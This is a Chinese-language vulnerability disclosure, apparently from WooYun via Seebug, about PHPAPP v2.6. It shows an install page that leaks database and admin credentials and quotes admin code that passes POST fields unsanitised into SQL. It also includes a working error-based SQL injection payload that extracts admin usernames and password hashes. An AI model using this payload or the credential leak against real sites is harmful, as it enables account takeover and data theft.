### 简要描述: PHPAPP注入第二枚(漏洞打包) ### 详细说明: 在wooyun上看到了有人提了PHPAPP的漏洞: http://wooyun.org/bugs/wooyun-2010-055604,然后去官网看了看,前几天刚有更新,就在官网下了PHPAPP最新的v2.6来看看(2014-12-11更新的)。 PSOT注入点:wwww.xxx.com/admin.php?app=5&menu=10&action=5, 存在漏洞的文件在/phpapp/apps/apppay/admin_phpapp.php 首先说一下,这里的注入点是在后台,先不要说后台进不去,这个漏洞鸡肋了,我先说一下如何得到网站的管理员用户名和密码。访问www.xxxx.com//install.php?step=1 就可以得到网站数据库的信息和网站的后台信息了。在互联网上找了很多实例,都可以成功得到这些敏感信息。 [<img src="https://images.seebug.org/upload/201412/21235255de4c639c765a2f9d56e5048b0602110d.jpg" alt="敏感信息.JPG" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201412/21235255de4c639c765a2f9d56e5048b0602110d.jpg) 然后访问www.xxxx.com/admin.php,登录以后就可以测试下面的漏洞了。 来看看漏洞是如何产生的/phpapp/apps/apppay/admin_phpapp.php ``` public function AccountDownAction(){ if($this->POST['Submit']){ $wheresql=''; if($this->POST['type']){ $paytype=$this->POST['type']; $wheresql.=" AND paytype='$paytype' "; } if($this->POST['downtype']){ $aid1=$this->POST['account1']; $aid2=$this->POST['account2']; $wheresql.=" AND a.cid>=$aid1 AND a.cid<=$aid2 "; } $accountsarr=$this->GetMysqlArray('a.*,b.money,b.flow,b.uid,c.username,d.money AS nowmoney'," ((".$this->GetTable('consume')." AS a LEFT JOIN ".$this->GetTable('member_consume')." AS b ON a.cid=b.cid) LEFT JOIN " .$this->GetTable('member')." AS c ON b.uid=c.uid) LEFT JOIN ".$this->GetTable('member_account')." AS d ON b.uid=d.uid WHERE b.uid>0 $wheresql ORDER BY a.cid ASC"); include(APPS.'/apppay/class/process_class_phpapp.php'); 无关代码 ``` 可以看到,这里没有对type、account1、account2作任何处理,就带入了SQL语句,造成了注入。 下面以type为例进行证明: Phpapp可以显错,那就用error-based blind进行注入。 Pyload:(POST提交) ``` Submit=12&type=1' and (select 1 from (select count(*),concat(floor(rand(0)*2),(select concat(0x23,username,0x23,password)from phpapp_member limit 0,1))a from information_schema.tables group by a)b)#&downtype=12&account1=1&account2=2 ``` 注入成功,管理员用户名及密码如下图所示: [<img src="https://images.seebug.org/upload/201412/212353471993a85fb9dd3c855e7735d1f419cd87.jpg" alt="注入成功副本.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201412/212353471993a85fb9dd3c855e7735d1f419cd87.jpg) ### 漏洞证明: 见 详细说明